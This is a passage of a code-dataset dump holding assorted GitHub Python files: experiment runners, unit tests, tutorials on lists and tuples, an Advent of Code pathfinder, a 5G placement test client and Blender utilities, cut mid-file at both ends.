imports --\nimport torch\nimport torchvision.transforms.functional as tvF\n\n# -- cuda profiler --\nimport nvtx\n\n# -- project imports --\nfrom pyutils import tile_patches,save_image,torch_to_numpy\nfrom pyutils.vst import anscombe\nfrom patch_search import get_score_function\nfrom datasets.wrap_image_data import load_image_dataset,sample_to_cuda\n\n# -- [experiment] imports --\nimport cache_io\nfrom unsup_denoising.experiments import picker\nfrom unsup_denoising._paths import EXP_PATH\nimport unsup_denoising.experiments.compare_to_competitors as compare_to_competitors\n\ndef run():\n # exp_info = picker.run()\n exp_info = compare_to_competitors.get_run_info()\n run_exp(exp_info)\n\ndef run_all():\n exp_info_list = picker.get_all_exps()\n for exp_info in exp_info_list:\n run_exp(exp_info)\n\ndef run_exp(exp_info):\n\n # -- Experiment Picker --\n execute_experiment = exp_info['exec']\n plot_experiment = exp_info['plot']\n cache_name = exp_info['cache_name']\n config_name = exp_info['config_name']\n get_cfg_defaults = exp_info['get_cfg_defaults']\n get_exp_cfgs = exp_info['get_exp_cfgs']\n setup_exp_cfg = exp_info['setup_exp_cfg']\n\n # -- Load Default Config --\n cfg = get_cfg_defaults()\n cfg.gpuid = 1\n cfg.device = f\"cuda:{cfg.gpuid}\"\n cfg.pid = os.getpid()\n # torch.cuda(device=cfg.gpuid)\n\n # -- Init Experiment Cache --\n cache_root = EXP_PATH / cache_name\n cache = cache_io.ExpCache(cache_root,cache_name)\n cache.clear()\n\n # -- Load Experiment Mesh --\n experiments,order,exp_grids = get_exp_cfgs(config_name)\n\n # -- Run experiments --\n exec_exps = {'exec':execute_experiment,'setup':setup_exp_cfg}\n run_experiment_set(cfg,cache,experiments,exec_exps)\n records = cache.load_flat_records(experiments)\n\n # -- g-75p0 and pn-20p0 -> {std:75,alpha:-1},{std:-1,alpha:20}, respectively --\n expand_noise_nums(records)\n\n # -- psnrs,epes_of,epes_nnf means --\n fields = ['psnrs','epes_of','epes_nnf']\n compute_field_means(records,fields)\n\n # -- Run Plots --\n plot_experiment(records,exp_grids)\n\ndef run_experiment_set(cfg,cache,experiments,exec_exps):\n PARALLEL = False\n if PARALLEL:\n return run_experiments_set_parallel(cfg,cache,experiments,exec_exps)\n else:\n return run_experiments_set_serial(cfg,cache,experiments,exec_exps)\n\ndef run_experiments_set_serial(cfg,cache,experiments,exec_exps):\n\n nexps = len(experiments)\n for exp_num,config in enumerate(experiments):\n print(\"-=\"*25+\"-\")\n print(f\"Running exeriment number {exp_num+1}/{nexps}\")\n print(\"-=\"*25+\"-\")\n print(config)\n results = cache.load_exp(config)\n uuid = cache.get_uuid(config)\n if results is None:\n exp_cfg = exec_exps['setup'](cfg,config)\n exp_cfg.uuid = uuid\n results = exec_exps['exec'](exp_cfg)\n cache.save_exp(exp_cfg.uuid,config,results)\n\n# -- wrap experiment --\ndef wrap_execute_experiment(inputs):\n cfg,config,uuid,exec_exps = inputs\n exp_cfg = exec_exps['setup'](cfg,config)\n exp_cfg.uuid = uuid\n results = exec_exps['exec'](exp_cfg)\n return uuid,config,results\n\ndef run_experiments_set_parallel(cfg,cache,experiments,exec_exps):\n\n # -- 1.) get experiments to run --\n torun_configs = []\n for exp_num,config in enumerate(experiments): \n results = cache.load_exp(config)\n uuid = cache.get_uuid(config)\n if results is None: torun_configs.append([cfg,config,uuid,exec_exps])\n \n # -- 2.) batch experiments using pool --\n max_jobs = 4\n pool = Pool(max_jobs)\n # p_results = pool.imap_unordered(wrap_execute_experiment,torun_configs)\n p_results = pool.map(wrap_execute_experiment,torun_configs)\n for exp_uuid,exp_config,exp_results in p_results:\n cache.save_exp(exp_uuid,exp_config,exp_results)\n return\n\ndef compute_field_means(records,fields):\n for field in fields:\n means,stds = [],[]\n for elem in records[field]:\n means.append(np.mean(elem))\n stds.append(np.std(elem))\n records[f'{field}_mean'] = means\n records[f'{field}_std'] = stds\n\ndef expand_noise_nums(records):\n ntype_series = records['noise_type']\n stds = []\n alphas = []\n for ntype_elem in ntype_series:\n ntype = ntype_elem.split('-')[0]\n nlevel = ntype_elem.split('-')[1]\n if ntype == \"g\":\n std = float(nlevel.replace(\"p\",\".\"))\n stds.append(std)\n alphas.append(-1)\n elif ntype == \"pn\":\n alpha = float(nlevel.split('-')[1].replace(\"p\",\".\"))\n stds.append(-1)\n alphas.append(alpha)\n else:\n raise ValueError(f\"Uknown noise type [{ntype}]\")\n records['std'] = stds\n records['alpha'] = alphas\n","repo_name":"gauenk/cl_gen","sub_path":"experiments/noisy_burst_pixel_alignment/unsup_denoising/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":5118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"22280981445","text":"from collections import defaultdict\nfrom typing import Dict, Tuple, List\n\nimport numpy as np\n\nfrom giskardpy import identifier\nfrom giskardpy.god_map import GodMap\n\n\nclass TimeCollector:\n qp_solver_times: Dict[Tuple[str, int, int], List[float]] = defaultdict(list)\n separator = ';'\n\n def __init__(self):\n self.god_map = GodMap()\n\n def add_qp_solve_time(self, class_name, number_variables, number_constraints, time):\n self.qp_solver_times[class_name, number_variables, number_constraints].append(time)\n\n def print_qp_solver_times(self):\n print('solver, variables, constraints, avg, std, samples')\n for dims, times in sorted(self.qp_solver_times.items()):\n print(self.separator.join([str(dims[0].split(\".\")[1]),\n str(dims[1]),\n str(dims[2]),\n str(np.average(times)),\n str(np.std(times)),\n str(times)]))\n\n def pretty_print(self, filter=None):\n print('-------------------------------------------------')\n self.print_qp_solver_times()\n print('-------------------------------------------------')\n","repo_name":"MehreenNaeem/giskardpy","sub_path":"src/giskardpy/utils/time_collector.py","file_name":"time_collector.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"76"} +{"seq_id":"42067795615","text":"# Test code for aga_roster.py. Assumes the presence of a TDListA.txt\n# file contraining the member record of the author.\n#\n# To run:\n#\n# python -m unittest test_aga_roster.py\n\nimport os\nimport os.path\nimport sys\nimport unittest\nfrom aga_roster import AGAMember, AGAMembersAlreadyLoaded\n\n\nFIRST_NAME = \"Mark\"\nLAST_NAME = \"Nahabedian\"\nAGA_ID = 7068\n\n\nclass TestAGARoster(unittest.TestCase):\n def setup(self):\n os.chdir(os.path.join(os.path.dirname(sys.modules[__name__].__file__), 'test'))\n AGAMember.ensure_loaded()\n\n def test_read(self):\n self.setup()\n # Expect a reasonable number of records read:\n self.assertGreaterEqual(len(AGAMember.AllMembers), 2000)\n\n def test_id_lookup(self):\n self.setup()\n m = AGAMember.lookupID(AGA_ID)\n self.assertNotEqual(m, None)\n self.assertEqual(FIRST_NAME, m.first_name)\n self.assertEqual(LAST_NAME, m.last_name)\n\n def test_substring_lookup(self):\n self.setup()\n found = AGAMember.search('ahabed')\n self.assertEqual(len(found), 1)\n m = found[0]\n self.assertNotEqual(m, None)\n self.assertEqual(FIRST_NAME, m.first_name)\n self.assertEqual(LAST_NAME, m.last_name)\n\n def test_highest_rank(self):\n max = -1000\n min = 1000\n for member in AGAMember.AllMembers:\n if member.rating:\n if member.rating > max:\n max = member.rating\n if member.rating < min:\n min = member.rating\n self.assertLess(max, 10)\n self.assertGreaterEqual(min, -30)\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"MarkNahabedian/GoTournamentUtilities","sub_path":"test_aga_roster.py","file_name":"test_aga_roster.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"20071205545","text":"# Write a function that takes a list of numbers\n# as an argument. The code should zero (0) the first and the last\n# number in the list.\n\ndef zeroed(l: list):\n l[0] = 0\n l[- 1] = 0\n return l\n\nprint(zeroed([2, 4, 6, 8, 10]))","repo_name":"tsitsiflora/SecurityScripts","sub_path":"50DaysOfPython/zeroed.py","file_name":"zeroed.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"32860458163","text":"from utils.Tags import Singleton\nfrom services.tool_services.mysql_service import mysqlService\nfrom data_access.controller.KBPostController4Mongo import KBPostController4Mongo\n\n\n@Singleton\nclass CommonDataService:\n def __init__(self):\n self.controller = KBPostController4Mongo()\n self.keyword_dict = self.controller.get_prefix_dict()\n self.word_to_title = {}\n for job_title, keywords in self.keyword_dict.items():\n for keyword in keywords:\n if keyword in self.word_to_title.keys():\n self.word_to_title[keyword].append(job_title)\n else:\n self.word_to_title[keyword] = [job_title]\n self.word_to_title['知识图谱'] = ['知识图谱工程师']\n\n def get_company_ai_top_50(self):\n companys = mysqlService.execute(\"select * from kb_ai_company_top_50\")\n return [company['name'] for company in companys]\n\n def keyword_to_job(self, keyword):\n return self.word_to_title.get(keyword, [])\n\n\ncommonDataService = CommonDataService()\n","repo_name":"Will-Holden/kb_demo","sub_path":"offline_processor/services/data_services/CommonDataService.py","file_name":"CommonDataService.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"15258386807","text":"import sys, os\nimport re\nimport argparse\nimport json\nimport uuid\nfrom http.client import HTTPConnection\n\nsys.path.append(os.path.join(os.path.dirname(__file__), '../../5GT-SO'))\nfrom sm.rooe.rooe import instantiate_ns, extract_nsd_info_for_pa, parse_resources_for_pa, amending_pa_output\n\nclass Bunch:\n def __init__(self, **kwds):\n self.__dict__.update(kwds)\n\n def keys(self):\n return self.__dict__.keys()\n\nif __name__ == '__main__':\n # Parse args\n parser = argparse.ArgumentParser(\n description='Script to test the NSD to PA API translation')\n parser.add_argument('pa', choices=['polito_uc3m','sssa','eurecom'],\n help='placement algorithm to invoke after translate')\n parser.add_argument('nsd', type=str, help='path to NSD')\n parser.add_argument('vnfds', type=str, help='path to the VNFDs file')\n parser.add_argument('resources', type=str, help='path to the MTP resources file')\n args = parser.parse_args()\n\n # Read NSDs and VNFDs\n with open(args.nsd) as d:\n nsd = json.load(d)\n with open(args.vnfds) as f:\n vnfds = json.load(f)\n with open(args.resources) as f:\n resources = json.load(f)\n\n is_cdn = re.search('CDN', args.nsd, re.IGNORECASE)\n body = Bunch(\n flavour_id='df_vCDN' if is_cdn else 'eHealth-vEPC_df',\n ns_instantiation_level_id='il_vCDN_small' if is_cdn\\\n else 'eHealth-vEPC_il_default',\n sapData=[Bunch(\n sapdId='videoSap' if is_cdn else 'sgi_vepc_sap',\n sapName='videoSap' if is_cdn else 'sgi_vepc_sap',\n description='SAP to access CDN video' if is_cdn\\\n else 'SGI SAP',\n locationInfo={\n 'center': {\n 'latitude': 40.3325323,\n 'longitude': -3.7675058,\n 'description': 'UC3M location'\n },\n 'radius': 10\n }\n )]\n )\n\n pa_info = extract_nsd_info_for_pa(nsd, vnfds, body)\n pa_resources = parse_resources_for_pa(resources, vnfds.keys())\n\n\n # Execute the selected PA with the translated NSD\n if args.pa == 'polito_uc3m':\n pa_ip = \"192.168.56.101\"\n pa_port = 6262\n pa_uri = \"/5gt/so/v2/PAComp\"\n elif args.pa == 'sssa':\n pa_ip = \"127.0.0.1\"\n pa_port = 6161\n pa_uri = \"/5gt/so/v1/PAComp\"\n elif args.pa == 'eurecom':\n pa_ip = \"127.0.0.1\"\n pa_port = 6161\n pa_uri = \"/5gt/so/v1/PAComp\"\n\n # generate request id\n reqId = str(uuid.uuid4())\n \n # put together the body of the request (cb is ignored anyway)\n body_pa = {\n \"ReqId\": reqId,\n \"nfvi\": pa_resources,\n \"callback\": \"http://localhost:8080/5gt/so/v1/__callbacks/pa/\" + reqId\n }\n body_pa.update(pa_info)\n header = {\n 'Content-Type': 'application/json',\n 'Accept': 'application/json'\n }\n placement_info = {}\n print('sent request\\n' + json.dumps(body_pa, indent=4))\n\n conn = HTTPConnection(pa_ip, pa_port)\n conn.request(\"POST\", pa_uri, json.dumps(body_pa), header)\n\n # ask pa to calculate the placement - read response and close connection\n rsp = conn.getresponse()\n placement_info = rsp.read().decode('utf-8')\n placement_info = json.loads(placement_info)\n print(json.dumps(placement_info, indent=4))\n\n\n","repo_name":"5g-transformer/5gt-so","sub_path":"pa/test/r2_mec_pa_test.py","file_name":"r2_mec_pa_test.py","file_ext":"py","file_size_in_byte":3403,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"76"} +{"seq_id":"26825289969","text":"from googleapiclient import sample_tools\r\n\r\ndef get_gsc_data(property_uri, start_date, end_date):\r\n service, flags = sample_tools.init([property_uri], 'webmasters', 'v3', __doc__, __file__, scope='https://www.googleapis.com/auth/webmasters.readonly')\r\n\r\n request = {\r\n 'startDate': start_date,\r\n 'endDate': end_date,\r\n 'dimensions': ['query'],\r\n 'rowLimit': 5\r\n }\r\n\r\n response = service.searchanalytics().query(siteUrl=property_uri, body=request).execute()\r\n \r\n for row in response['rows']: \r\n print(row['keys'], row['clicks'], row['impressions'], row['ctr'], row['position'])\r\n\r\n \r\ngsc_property = \"INSERT YOUR WEBSITE HERE\"\r\ngsc_start_date = \"2020-01-01\"\r\ngsc_end_date = \"2020-01-01\"\r\nget_gsc_data(gsc_property, gsc_start_date, gsc_end_date)\r\n\r\n\r\n\r\n\r\n","repo_name":"baresluca/search-console-query-simple","sub_path":"search-console-pull.py","file_name":"search-console-pull.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"19963183223","text":"# import datetime # downside we have to write datetime.datetime all the time then\nfrom datetime import datetime\nstart = datetime.now()\nmylist = [f\"{x} - something\" for x in range(1_000_000)] \n# so takes about 2 seconds to create a list with 1M elements\nend = datetime.now()\nprint(start ,end)\nprint(end-start)\nday_list = [\"Pirm\",\"Otr\", \"Trešdiena\", \"Cet\", \"P\", \"S\", \"Sv\"]\nprint(start.day, start.weekday(), day_list[start.weekday()], start.hour, start.minute, start.second)\n\n\n","repo_name":"ValRCS/Python_RTU_08_20","sub_path":"Diena_11_modules_packages_std/my_datetime.py","file_name":"my_datetime.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"76"} +{"seq_id":"14109581891","text":"# %% looping over lists\nfrom array import array\nfrom collections import deque\nWord = [\"a\", \"b\", \"c\"]\nfor letter in Word:\n print(letter)\n\n# %% enumerate functions returns a tuple of item's index and its value\nWord = [\"a\", \"b\", \"c\"]\nfor letter in enumerate(Word):\n print(letter)\n print(letter[0], letter[1])\n\n\n# a better way: by tuple (just like lists) unpacking, by using () instead of []\nWord = [\"a\", \"b\", \"c\"]\nitems = (0, \"a\") # tuple: () instead of []\nindex, letter = items # unpacking tuple\nfor index, letter in enumerate(Word):\n print(index, letter)\n# %% Add an item to the list\n# Add\nletters = [\"a\", \"b\", \"c\"]\nletters.append(\"d\") # end of the list\nletters.insert(0, \"-\")\nprint(letters)\n# Remove\nletters.pop() # the last\nprint(letters)\n\nletters.pop(0) # with index\nprint(letters)\n\nletters.remove(\"b\") # removes the first \"b\" in the list\nprint(letters)\n\n# delete a range of a statement\nletters = [\"a\", \"b\", \"c\", \"d\", \"e\"]\ndel letters[0:3]\nprint(letters)\n\n# clear all the list\nletters.clear()\nprint(letters)\n\n# %% Finding iterms\nletters = [\"a\", \"b\", \"c\"]\nprint(letters.index(\"c\"))\n\n# if the object doesn't exist in the list, an error occurs\n# to prevent the error we use if\nif \"d\" in letters:\n print(letters.index(\"d\"))\n\n# we use the \"count() func.\" to count the number of an item in a list\nprint(letters.count(\"d\"))\n# %% Sorting lists\nnumbers = [3, 51, 2, 7, 9]\nnumbers.sort() # sorts numbers, changes main list\nnumbers.sort(reverse=True)\n\n# %% sorting without overwriting the main list\nnumbers = [3, 51, 2, 7, 9]\nprint(sorted(numbers)) # makes a \"new list\" that is sorted\nprint(numbers) # main list\nprint(sorted(numbers, reverse=True))\n# %% Sorting tuples\nitems = [ # (product, price)\n (\"P1\", 10),\n (\"p2\", 9),\n (\"p3\", 13)\n]\nitems.sort() # doesnt work, so we def a func\n\n\ndef sort_item_by(item): # مقداری که قراره بر اساسش سرت کنیم میده. اینجا= قیمت که ایندکس 1 هست\n return item[1]\n\n\nitems.sort(key=sort_item_by)\nprint(items)\n# %% Lambda Functions: lambda parameters:expression\n\nitems = [ # (product, price)\n (\"P1\", 10),\n (\"p2\", 9),\n (\"p3\", 13)\n]\n\nitems.sort(key=lambda item: item[1])\nprint(items)\n# %% Map Function: takes a function and an iterable\n\nitems = [ # (product, price)\n (\"P1\", 10),\n (\"p2\", 9),\n (\"p3\", 13)\n]\nprices = []\nfor item in items:\n prices.append(item[1])\nprint(prices)\n\n# a better way, is using map func:\nprices = []\nprices = list(map(lambda item: item[1], items))\nprint(prices)\n# %% Filter Function (like map func. takes a function (with a logical value) and an iterable)\nitems = [ # (product, price)\n (\"P1\", 10),\n (\"p2\", 9),\n (\"p3\", 13)\n]\n\nfiltered = list(filter(lambda item: item[1] >= 10, items))\nprint(filtered)\n# %% List Comprehensions instead of map or filter [expression for i in I] or [expression1 for i in I if expression2]\nitems = [ # (product, price)\n (\"P1\", 10),\n (\"p2\", 9),\n (\"p3\", 13)\n]\n\nprices = list(map(lambda item: item[1], items))\n# List Comprehension = [expression for item in items]\nprices = [item[1] for item in items]\nprint(prices)\n\n\nfiltered = (list(filter(lambda item: item[1] >= 10, items)))\nfiltered = [item for item in items if item[1] >= 10]\nprint(filtered)\n\n# %% Zip func: combine 2 lists as a tuple\n# convert list1=[1, 2, 3] and list2=[10, 20, 30]\n# like this: combined=[(1,10), (2,20), (3,30)]\n\nlist1 = [1, 2, 3]\nlist2 = [10, 20, 30]\nprint(list(zip(list1, list2)))\nprint(list(zip(\"abc\", list1, list2)))\n\n# %% Stack (Last In First Out - LIFO)\nbrowsing_session = []\nbrowsing_session.append(1)\nbrowsing_session.append(2)\nbrowsing_session.append(3)\nprint(browsing_session)\nlast = browsing_session.pop()\n# print(last)\n# print(browsing_session)\nif browsing_session:\n print(\"redirect\", browsing_session[-1])\nelse:\n print(\"no more options\")\n# %% Swap in Python\nx = 10\ny = 11\nx, y = y, x # because we are assigning a tuple and unpacking it\nprint(f\"x = {x}, y = {y}\")\na, b = 1, 2\n# %% Set : a collection with no duplicates. مجموعه\n# sets are unordered, without indices, unlike lists and ...\nnumbers = [1, 1, 2, 3, 4]\nuniques = set(numbers)\nprint(uniques)\n# define a set with {}, add, remove and len\nsecond = {1, 4}\nsecond.add(5)\nsecond.remove(1)\nprint(second)\nlen(second)\n\n# operators on sets اجتماع- اشتراک- تفریق و اجتماع اختصاصی\nfirst = {1, 2, 3, 4}\nsecond = {1, 5}\n\nprint(first | second)\nprint(first & second)\nprint(first - second)\nprint(first ^ second) # exclusive or\n\n\n# %% Queues (FIFO): we need to define a deque to use queue\nqueue = deque([])\nqueue.append(1)\nqueue.append(2)\nqueue.append(3)\nqueue.popleft()\nprint(queue)\nif not queue:\n print(\"empty\")\n\n# %% Tuples : a read only list, can not add, remove, modify\n# used to prevent accidental changes to variables\npoint = (1, 2)\npoint = 1, 2 # like the line above\npoint = (1, 2) + (3, 4)\npoint = (1, 2) * 3\n# convert a list to a tuple\npoint = tuple(\"Hello World\")\npoint = tuple([1, 2, 3])\n# point[0:2] # tuples are ordered\nx, y, z = point\nif 10 in point:\n print(\"exists\")\n\n# %% Arrays take less amount of memory and perform faster than lists\n# all objects must have the same type like signed int\n# first parameter is a type code :\"i\" for a signed integer\nnumbers = array(\"i\", [1, 2, 3])\nnumbers.pop()\nnumbers.remove(1)\n# impossible to chage object's type like: numbers[0] = 1.2\n\n# %%\n","repo_name":"ZahraDehghanManshadi/Python-with-Mosh","sub_path":"app1.py","file_name":"app1.py","file_ext":"py","file_size_in_byte":5417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"43152045845","text":"import string\nfrom copy import deepcopy\nfrom dataclasses import dataclass\nfrom functools import partial\n\n# Part 1 functions\nMap = list[list[str]]\n\n\n@dataclass(frozen=True)\nclass Coord:\n row: int\n col: int\n\n\nPath = list[Coord]\n\n\ndef coord2char(coord: Coord, heights: Map) -> str:\n return heights[coord.row][coord.col]\n\n\ndef can_go(source: str, target: str) -> bool:\n diff = ord(target) - ord(source)\n if diff <= 1:\n return True\n return False\n\n\ndef get_neighbours(source: Coord) -> tuple[Coord, ...]:\n up = Coord(source.row - 1, source.col)\n down = Coord(source.row + 1, source.col)\n left = Coord(source.row, source.col - 1)\n right = Coord(source.row, source.col + 1)\n return up, down, left, right\n\n\nNEIGHBOURS_CACHE: dict[Coord, list[Coord]] = {}\n\n\n# this function is memoized to avoid computing the same neighbours\n# for many different paths\ndef viable_neighbours(source: Coord, heights: Map) -> list[Coord]:\n if source in NEIGHBOURS_CACHE:\n return NEIGHBOURS_CACHE[source]\n source_char = coord2char(source, heights)\n neighbours = get_neighbours(source)\n viable = []\n for nb in neighbours:\n target_char = coord2char(nb, heights)\n if can_go(source_char, target_char):\n viable.append(nb)\n NEIGHBOURS_CACHE[source] = viable\n return viable\n\n\ndef expand_path(path: Path, continuations: set[Coord]) -> list[Path]:\n new_paths = []\n for cont in continuations:\n # skip paths whose continuation is already in the shortest cache\n # note: this also takes care of any backtracking paths\n if cont in SHORTEST_PATH_ENDING_AT_COORD:\n continue\n new = deepcopy(path)\n new.append(cont)\n new_paths.append(new)\n return new_paths\n\n\ndef unique_path_ends(paths: list[Path]) -> set[Coord]:\n return set(path[-1] for path in paths)\n\n\ndef shortest_so_far_with_unique_ends(paths: list[Path], unique_ends: set[Coord]) -> list[Path]:\n shortest = []\n # unique_ends = unique_path_ends(paths)\n for end in unique_ends:\n ending_with = sorted(filter(lambda x: x[-1] == end, paths), key=len)\n shortest.append(ending_with[0])\n return shortest\n\n\nSHORTEST_PATH_ENDING_AT_COORD: dict[Coord, Path] = {}\n\n\ndef is_end(heights: Map, end: Coord | str, cand: Coord) -> bool:\n if isinstance(end, Coord):\n return cand == end\n return coord2char(cand, heights) == end\n\n\ndef find_paths(heights: Map, end: Coord | str, paths: list[Path]) -> set[Coord]:\n for path in paths:\n SHORTEST_PATH_ENDING_AT_COORD[path[-1]] = path\n # we only need to consider possible continuations for the set of unique new\n # squares (current path ends) visited\n unique_ends = unique_path_ends(paths)\n finished = any(map(partial(is_end, heights, end), unique_ends))\n if finished:\n return unique_ends\n # furthermore, we only need to consider one path, the shortest one, ending on\n # a certain square\n paths = shortest_so_far_with_unique_ends(paths, unique_ends)\n new_paths = []\n continuations = {end: viable_neighbours(end, heights) for end in unique_ends}\n for path in paths:\n new_paths.extend(expand_path(path, continuations[path[-1]]))\n # recurse\n return find_paths(heights, end, new_paths)\n\n\ndef parse_map(heights: str) -> tuple[Map, Coord, Coord]:\n rows = []\n row_ix, col_ix = 0, 0\n current_row = []\n for char in heights:\n if char == \"S\":\n start = Coord(row_ix + 1, col_ix + 1) # padding\n char = \"a\"\n elif char == \"E\":\n end = Coord(row_ix + 1, col_ix + 1) # padding\n char = \"z\"\n if char != \"\\n\":\n current_row.append(char)\n col_ix += 1\n else:\n rows.append(current_row)\n current_row = []\n row_ix += 1\n col_ix = 0\n\n # we pad the sides with `~` (ascii code 126, so inaccessible)\n # to not worry about edge cases separately later\n for row in rows:\n row.insert(0, '~')\n row.append('~')\n length = len(rows[0])\n rows.insert(0, ['~'] * length)\n rows.append(['~'] * length)\n\n return rows, start, end\n\n\n# Part 2 functions\ndef invert_map(heights: Map) -> Map:\n letters = string.ascii_lowercase\n for row in range(len(heights)):\n for col in range(len(heights[0])):\n char = heights[row][col]\n if char != \"~\":\n index = letters.index(char)\n new_index = len(letters) - index - 1\n new_char = letters[new_index]\n heights[row][col] = new_char\n return heights\n\n\ndef main():\n with open(\"input.txt\") as f:\n heights = f.read()\n heights, start, end = parse_map(heights)\n\n # Part 1\n # We perform BFS until one path hits the end coordinate. Note that keeping track of all\n # unique paths is infeasible both time and space-wise. But a trick is to only keep track\n # of the shortest path finishing at any coordinate. Because of BFS, by definition the first\n # time we visit a coordinate, we arrive via a shortest path.\n global SHORTEST_PATH_ENDING_AT_COORD\n global NEIGHBOURS_CACHE\n start_paths = [[start]]\n find_paths(heights, end, start_paths)\n print(len(SHORTEST_PATH_ENDING_AT_COORD[end]) - 1) # number of steps is 1 less length\n\n # Part 2\n # We \"invert\" the heights and start from the end coordinate and stop as soon as we hit\n # the first \"a\" square\n heights = invert_map(heights)\n NEIGHBOURS_CACHE = {}\n SHORTEST_PATH_ENDING_AT_COORD = {}\n start_paths = [[end]]\n unique_ends = find_paths(heights, \"z\", start_paths)\n for end in unique_ends:\n if coord2char(end, heights) == \"z\":\n print(len(SHORTEST_PATH_ENDING_AT_COORD[end]) - 1)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jklaise/advent-of-code","sub_path":"2022/12/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5805,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"76"} +{"seq_id":"41813426586","text":"#!/usr/bin/env python3\n#2019年1月8日\n\n\n### 实例属性和类属性\n\nclass Student(object):\n name = 'Student'\n def __init__(self, name):\n self.name = name\n\n\n# 由于Python是动态语言,根据类创建的实例可以任意绑定属性。\n\n# 给实例绑定属性的方法是通过实例变量,或者通过self变量:\n\n\ns = Student('kaixin')\ns.score = 90\n\nprint(s.name)\nprint(s.score)\n\nprint(Student.name)","repo_name":"nodkH/LearnPython","sub_path":"面向对象编程/oop4.py","file_name":"oop4.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"72171068405","text":"import os\r\nimport glob\r\nimport sys \r\nsys.path.append(\".\")\r\n\r\nimport numpy as np\r\n\r\nimport bpy\r\nimport bmesh\r\n\r\nclass BlenderUtils:\r\n\r\n @classmethod\r\n def unselect_all(cls) -> None:\r\n \"\"\"Unselect\"\"\"\r\n # for obj in bpy.data.objects:\r\n for obj in bpy.context.selected_objects:\r\n if obj.select_get():\r\n obj.select_set(False)\r\n\r\n @classmethod\r\n def single_select(cls, obj) -> bool:\r\n cls.unselect_all()\r\n obj.select_set(True)\r\n return obj.select_get()\r\n\r\n\r\n @classmethod\r\n def focus(cls, obj):\r\n cls.set_active(None)\r\n cls.single_select(obj)\r\n cls.set_active(obj)\r\n\r\n @classmethod\r\n def import_obj(cls, path):\r\n postfix = os.path.split(path)[-1].split(\".\")[-1]\r\n if postfix == \"obj\":\r\n import_func = bpy.ops.import_scene.obj\r\n elif postfix == \"fbx\":\r\n import_func = bpy.ops.import_scene.fbx\r\n else:\r\n return None\r\n\r\n msg = import_func(filepath=path)\r\n\r\n if 'FINISHED' not in msg:\r\n return None \r\n\r\n obj_object = bpy.context.selected_objects[0]\r\n\r\n print(f\"Obj object {obj_object.name} is imported to the current scene\")\r\n return obj_object\r\n\r\n @classmethod\r\n def copy_obj(cls, src_obj):\r\n obj_copy = src_obj.copy()\r\n obj_copy.data = obj_copy.data.copy()\r\n bpy.context.collection.objects.link(obj_copy)\r\n return obj_copy\r\n\r\n @classmethod\r\n def delete_obj(cls, target_obj):\r\n cls.unselect_all()\r\n target_obj.select_set(True)\r\n cls.set_active(target_obj) \r\n bpy.ops.object.delete()\r\n\r\n @classmethod\r\n def set_active(cls, obj = None):\r\n bpy.context.view_layer.objects.active = obj\r\n\r\n @classmethod\r\n def reset_all(cls):\r\n # step 1 : delete all objects in scene\r\n for scene in bpy.data.scenes:\r\n for obj in scene.objects:\r\n bpy.context.collection.objects.unlink(obj)\r\n\r\n # step 2 : delete all cached data in the dataset\r\n for bpy_data_iter in (\r\n bpy.data.objects,\r\n bpy.data.meshes,\r\n bpy.data.cameras,\r\n bpy.data.materials\r\n ):\r\n for id_data in bpy_data_iter:\r\n bpy_data_iter.remove(id_data)\r\n\r\n @classmethod\r\n def add_environment_texture(cls, path):\r\n # Get the environment node tree of the current scene\r\n node_tree = bpy.context.scene.world.node_tree\r\n tree_nodes = node_tree.nodes\r\n\r\n # Clear all nodes\r\n tree_nodes.clear()\r\n\r\n text_coord_node = tree_nodes.new(type=\"ShaderNodeTexCoord\")\r\n generated_coord = text_coord_node.outputs[0]\r\n\r\n mapping = tree_nodes.new(\"ShaderNodeMapping\")\r\n mapping.inputs[2].default_value[2] = np.deg2rad(np.random.uniform(0, 360))\r\n\r\n # Add Background node\r\n node_background = tree_nodes.new(type='ShaderNodeBackground')\r\n\r\n # Add Environment Texture node\r\n node_environment = tree_nodes.new('ShaderNodeTexEnvironment')\r\n # Load and assign the image to the node property\r\n node_environment.image = bpy.data.images.load(path) # Relative path\r\n node_background.inputs[1].default_value = np.random.uniform(3, 5) # initial env brightness\r\n\r\n # Add Output node\r\n node_output = tree_nodes.new(type='ShaderNodeOutputWorld') \r\n node_output.location = 200,0\r\n\r\n # Link all nodes\r\n links = node_tree.links\r\n links.new(generated_coord, mapping.inputs[0])\r\n links.new(mapping.outputs[0], node_environment.inputs[-1])\r\n link = links.new(node_environment.outputs[\"Color\"], node_background.inputs[\"Color\"])\r\n link = links.new(node_background.outputs[\"Background\"], node_output.inputs[\"Surface\"])\r\n \r\n return node_environment, mapping\r\n \r\n @classmethod\r\n def build_mesh_from_two_square_planes(cls, top, bottom, size):\r\n cls.unselect_all()\r\n cls.set_active(bottom)\r\n bottom.select_set(True)\r\n \r\n cls.set_active(top)\r\n top.select_set(True)\r\n bottom.select_set(True)\r\n bpy.ops.object.join()\r\n top = bpy.context.selected_objects[0] \r\n\r\n bpy.ops.object.mode_set(mode=\"EDIT\")\r\n bpy.ops.mesh.select_mode(type='EDGE')\r\n\r\n bm = 